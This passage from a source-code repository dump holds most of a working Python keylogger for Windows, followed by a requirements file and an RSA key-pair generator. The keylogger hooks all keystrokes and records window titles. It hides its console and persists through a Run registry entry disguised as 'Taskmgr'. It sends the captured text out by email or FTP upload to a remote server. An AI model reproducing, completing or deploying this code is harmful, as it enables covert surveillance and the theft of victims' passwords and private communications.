"your_email@gmail.com" # Specify Username Here 231 | PASS = "password_here" # Specify Password Here 232 | FROM = USER # From address is taken from username 233 | TO = ["to_address@gmail.com"] # Specify to address.Use comma if more than one to address is needed. 234 | SUBJECT = "Keylogger data: " + str(ts) 235 | MESSAGE = line_buffer 236 | message = """\ 237 | From: %s 238 | To: %s 239 | Subject: %s 240 | 241 | %s 242 | """ % (FROM, ", ".join(TO), SUBJECT, MESSAGE) 243 | try: 244 | server = smtplib.SMTP() 245 | server.connect(SERVER, PORT) 246 | server.starttls() 247 | server.login(USER, PASS) 248 | server.sendmail(FROM, TO, message) 249 | line_buffer, backspace_buffer_len = '', 0 250 | server.quit() 251 | except Exception as e: 252 | print(e) 253 | self.event.wait(120) 254 | 255 | 256 | def log_ftp(): 257 | # FTP mode - Upload logs to FTP account 258 | global line_buffer, count, backspace_buffer_len 259 | todays_date = datetime.datetime.now().strftime('%Y-%b-%d') 260 | # md5 only for masking dates - it's easily crackable: 261 | todays_date_hashed = hashlib.md5(bytes(todays_date, 'utf-8')).hexdigest() 262 | count += 1 263 | FILENAME = todays_date_hashed + "-" + str(count) + ".txt" 264 | try: 265 | with open(FILENAME, "a") as fp: 266 | fp.write(line_buffer) 267 | except Exception as e: 268 | print(e) 269 | line_buffer, backspace_buffer_len = '', 0 270 | try: 271 | SERVER = "ftp.xxxxxx.com" # Specify your FTP Server address 272 | USERNAME = "ftp_username" # Specify your FTP Username 273 | PASSWORD = "ftp_password" # Specify your FTP Password 274 | SSL = 1 # Set 1 for SSL and 0 for normal connection 275 | OUTPUT_DIR = "/" # Specify output directory here 276 | if SSL == 0: 277 | ft = ftplib.FTP(SERVER, USERNAME, PASSWORD) 278 | else: 279 | ft = ftplib.FTP_TLS(SERVER, USERNAME, PASSWORD) 280 | ft.cwd(OUTPUT_DIR) 281 | with open(FILENAME, 'rb') as fp: 282 | cmd = 'STOR' + ' ' + FILENAME 283 | ft.storbinary(cmd, fp) 284 | ft.quit() 285 | os.remove(FILENAME) 286 | except Exception as e: 287 | print(e) 288 | return True 289 | 290 | 291 | def log_debug(): 292 | # Debug mode 293 | global line_buffer, backspace_buffer_len 294 | print(line_buffer) 295 | line_buffer, backspace_buffer_len = '', 0 296 | return True 297 | 298 | 299 | def log_it(): 300 | global mode, line_buffer 301 | # line_buffer = '\n' + line_buffer + '\n' 302 | if mode == "local": 303 | log_local() 304 | elif mode == "remote": 305 | log_remote() 306 | elif mode == "email": 307 | email = TimerClass() 308 | email.start() 309 | elif mode == "ftp": 310 | log_ftp() 311 | elif mode == 'debug': 312 | log_debug() 313 | return True 314 | 315 | 316 | current_file_path = os.path.realpath(sys.argv[0]) 317 | 318 | 319 | # Add to startup for persistence 320 | def add_to_startup(): 321 | key_val = r'Software\Microsoft\Windows\CurrentVersion\Run' 322 | key2change = OpenKey(HKEY_CURRENT_USER, 323 | key_val, 0, KEY_ALL_ACCESS) 324 | sys_args = ' '.join([mode]) 325 | reg_value_prefix, reg_value_postfix = '', '' 326 | reg_value = reg_value_prefix + '"' + current_file_path + '" ' + sys_args + reg_value_postfix 327 | try: 328 | SetValueEx(key2change, "Taskmgr", 0, REG_SZ, reg_value) 329 | except: pass 330 | 331 | 332 | def hide(): 333 | # Hide Console 334 | window = win32console.GetConsoleWindow() 335 | win32gui.ShowWindow(window, 0) 336 | return True 337 | 338 | 339 | def key_callback(event): 340 | global line_buffer, window_name, time_logged, upper_case, capslock_on, shift_on, backspace_buffer_len 341 | 342 | if event.event_type == 'up': 343 | if event.name in ['shift', 'right shift']: # SHIFT UP 344 | shift_on = False 345 | upper_case = update_upper_case() 346 | return True 347 | 348 | window_buffer, time_buffer = '', '' 349 | 350 | # 1. Detect the active window change - if so, LOG THE WINDOW NAME 351 | user32 = ctypes.WinDLL('user32', use_last_error=True) 352 | curr_window = user32.GetForegroundWindow() 353 | event_window_name = win32gui.GetWindowText(curr_window) 354 | if window_name != event_window_name: 355 | window_buffer = '\n[WindowName: ' + event_window_name + ']: ' # update the line_buffer 356 | window_name = event_window_name # set the new value 357 | 358 | # 2. if MINUTES_TO_LOG_TIME minutes has passed - LOG THE TIME 359 | now = datetime.datetime.now() 360 | if now - time_logged > datetime.timedelta(minutes=MINUTES_TO_LOG_TIME): 361 | time_buffer = '\n[Time: ' + ('%02d:%02d' % (now.hour, now.minute)) + ']: ' # update the line_buffer 362 | time_logged = now # set the new value 363 | 364 | if time_buffer != "" or window_buffer != "": 365 | if line_buffer != "": 366 | log_it() # log anything from old window / times 367 | line_buffer = time_buffer + window_buffer # value to begin with 368 | """ backspace_buffer_len = the number of symbols of line_buffer up until the last technical tag (including it) 369 | - window name, time or key tags (, etc.). 370 | len(line_buffer) - backspace_buffer_len = the number of symbols that we can safely backspace. 371 | we increment backspace_buffer_len variable only when we append technical stuff 372 | (time_buffer or window_buffer or ): """ 373 | backspace_buffer_len = len(line_buffer) 374 | 375 | key_pressed = '' 376 | 377 | # 3. DETERMINE THE KEY_PRESSED GIVEN THE EVENT 378 | if event.name in ['left', 'right']: # arrow keys # 'home', 'end', 'up', 'down' 379 | key_pressed_list = list() 380 | if keyboard.is_pressed('ctrl') or keyboard.is_pressed('right ctrl'): 381 | key_pressed_list.append('ctrl') 382 | if keyboard.is_pressed('shift') or keyboard.is_pressed('right shift'): 383 | key_pressed_list.append('shift') 384 | key_pressed = '<' + '+'.join(key_pressed_list) + ('+' if len(key_pressed_list) > 0 else '') + event.name + '>' 385 | line_buffer += key_pressed 386 | backspace_buffer_len = len(line_buffer) 387 | elif event.name == 'space': 388 | key_pressed = ' ' 389 | elif event.name in ['enter', 'tab']: 390 | key_pressed = '' if event.name == 'tab' else '' 391 | line_buffer += key_pressed 392 | backspace_buffer_len = len(line_buffer) 393 | log_it() # pass event to other handlers 394 | return True 395 | elif event.name == 'backspace': 396 | if len(line_buffer) - backspace_buffer_len > 0: 397 | line_buffer = line_buffer[:-1] # remove the last character 398 | else: 399 | line_buffer += '' 400 | backspace_buffer_len = len(line_buffer) 401 | elif event.name == 'caps lock': # CAPS LOCK 402 | upper_case = not upper_case 403 | capslock_on = not capslock_on 404 | elif event.name in ['shift', 'right shift']: # SHIFT DOWN 405 | shift_on = True 406 | upper_case = update_upper_case() 407 | else: 408 | key_pressed = event.name 409 | if len(key_pressed) == 1: 410 | # if some normal character 411 | # 3.1. DETERMINE THE SELECTED LANGUAGE AND TRANSLATE THE KEYS IF NEEDED 412 | # There is a keyboard module bug: when we start a program in one layout and then switch to another, 413 | # the layout of hooked input DOES NOT change. So we need a workaround. 414 | language = detect_key_layout() 415 | global latin_into_cyrillic_trantab, cyrillic_layouts 416 | if 'English' in language and 'English' not in initial_language: 417 | # cyrillic -> latin reverse translation is required 418 | if ord(key_pressed) in cyrillic_into_latin_trantab: 419 | key_pressed = chr(cyrillic_into_latin_trantab[ord(key_pressed)]) 420 | elif language in cyrillic_layouts and initial_language not in cyrillic_layouts: 421 | # latin -> cyrillic translation is required 422 | if ord(key_pressed) in latin_into_cyrillic_trantab: 423 | key_pressed = chr(latin_into_cyrillic_trantab[ord(key_pressed)]) 424 | 425 | # apply upper or lower case 426 | key_pressed = key_pressed.upper() if upper_case else key_pressed.lower() 427 | else: 428 | # unknown character (eg arrow key, shift, ctrl, alt) 429 | return True # pass event to other handlers 430 | 431 | # 4. APPEND THE PRESSED KEY TO THE LINE_BUFFER 432 | line_buffer += key_pressed 433 | 434 | # 5. DECIDE ON WHETHER TO LOG CURRENT line_buffer OR NOT: 435 | if len(line_buffer) >= CHAR_LIMIT: 436 | log_it() 437 | return True # pass event to other handlers 438 | 439 | 440 | def main(): 441 | # Disallowing multiple instances 442 | mutex = win32event.CreateMutex(None, 1, 'mutex_var_qpgy_main') 443 | if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS: 444 | mutex = None 445 | print("Multiple instances are not allowed") 446 | exit(0) 447 | hide() 448 | add_to_startup() 449 | keyboard.hook(key_callback) 450 | keyboard.wait() 451 | return 452 | 453 | 454 | if __name__ == '__main__': 455 | main() 456 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | pysocks 2 | pycryptodomex 3 | future==0.17.1 4 | keyboard==0.13.3 5 | psutil>=5.6.6 6 | pywin32==224 7 | pywin32-ctypes==0.2.0 8 | PIL 9 | pywinauto 10 | -------------------------------------------------------------------------------- /rsa_key_generator.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import os # for handling paths 5 | import sys # for getting sys.argv 6 | from Cryptodome.PublicKey import RSA 7 | import getpass # for securely entering a user's pass phrase to access the private key 8 | 9 | # - GLOBAL SCOPE VARIABLES start - 10 | full_path = os.path.dirname(os.path.realpath(sys.argv[0])) 11 | # - GLOBAL SCOPE VARIABLES end - 12 | 13 | # GENERATE NEW RSA PUBLIC-PRIVATE KEY PAIR: 14 | passphrase_1 = getpass.getpass(prompt='Enter your private key passphrase (your input will be hidden):\n') 15 | passphrase_2 = getpass.getpass(prompt='Confirm your private key passphrase (your input will be hidden):\n') 16 | if passphrase_1 != passphrase_2: 17 | raise ValueError("Your inputs don't match!") 18 | print('Inputs match, generating your keys...') 19 | new_key = RSA.generate(4096) 20 | export_format = 'PEM' 21 | private_key = new_key.exportKey(pkcs=8, passphrase=passphrase_1) 22 | public_key = new_key.publickey().exportKey(format=export_format) 23 | with open(os.path.join(full_path, "private_key." + export_format.lower()), "wb") as f: 24 | f.write(private_key) 25 | with open(os.path.join(full_path, "public_key." + export_format.lower()), "wb") as f: 26 | f.write(public_key) 27 | print('Finished!') 28 | --------------------------------------------------------------------------------